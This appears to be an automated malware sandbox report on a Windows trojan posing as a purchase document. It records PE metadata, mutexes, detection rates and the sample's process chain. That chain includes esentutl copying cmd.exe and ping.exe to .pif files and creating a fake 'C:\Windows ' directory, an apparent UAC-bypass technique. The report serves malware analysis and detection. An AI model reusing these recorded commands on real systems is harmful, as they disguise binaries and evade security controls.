Source: GoogleUpdateBroker.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVClient.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaw.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javaws.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jjs.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jp2launcher.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: keytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: kinit.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: klist.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: PerceptionSimulationService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MsSense.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SensorDataService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ktab.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: orbd.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pack200.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Spectrum.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssh-agent.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: TieringEngineService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AgentService.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe0.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.9.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9989003576744956

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@45/171@31/13

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B17FD2 GetDiskFreeSpaceA,

0_2_02B17FD2

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Code function: 9_1_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear,

9_1_004019F0

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B26DC8 CoCreateInstance,

0_2_02B26DC8

Source: C:\Users\Public\Libraries\ymafvvdS.pif

9_1_004019F0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

File created: C:\Users\Public\Libraries\PNO

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-3f155f6931e417df62e80848-b
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Mutant created: NULL
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-3f155f6931e417df-inf
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7860:120:WilError_03
Source: C:\Windows\System32\alg.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-3f155f6931e417df9ea72c54-b

Source: C:\Windows\System32\FXSSVC.exe

File created: C:\Windows\TEMP\FXSSVCDebugLogFile.txt

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Command line argument: 08A

9_1_00413780

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	ReversingLabs: Detection: 36%
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

File read: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe "C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe"
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\ymafvvdS.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe /d C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Users\Public\Libraries\ymafvvdS.pif C:\Users\Public\Libraries\ymafvvdS.pif
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown	Process created: C:\Windows\System32\SensorDataService.exe C:\Windows\System32\SensorDataService.exe
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Source: unknown	Process created: C:\Windows\System32\Spectrum.exe C:\Windows\system32\spectrum.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh-agent.exe C:\Windows\System32\OpenSSH\ssh-agent.exe
Source: unknown	Process created: C:\Windows\System32\TieringEngineService.exe C:\Windows\system32\TieringEngineService.exe
Source: unknown	Process created: C:\Windows\System32\AgentService.exe C:\Windows\system32\AgentService.exe
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\ymafvvdS.cmd" "	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe /d C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF /o	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Users\Public\Libraries\ymafvvdS.pif C:\Users\Public\Libraries\ymafvvdS.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: mapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Section loaded: ??.dll	Jump to behavior
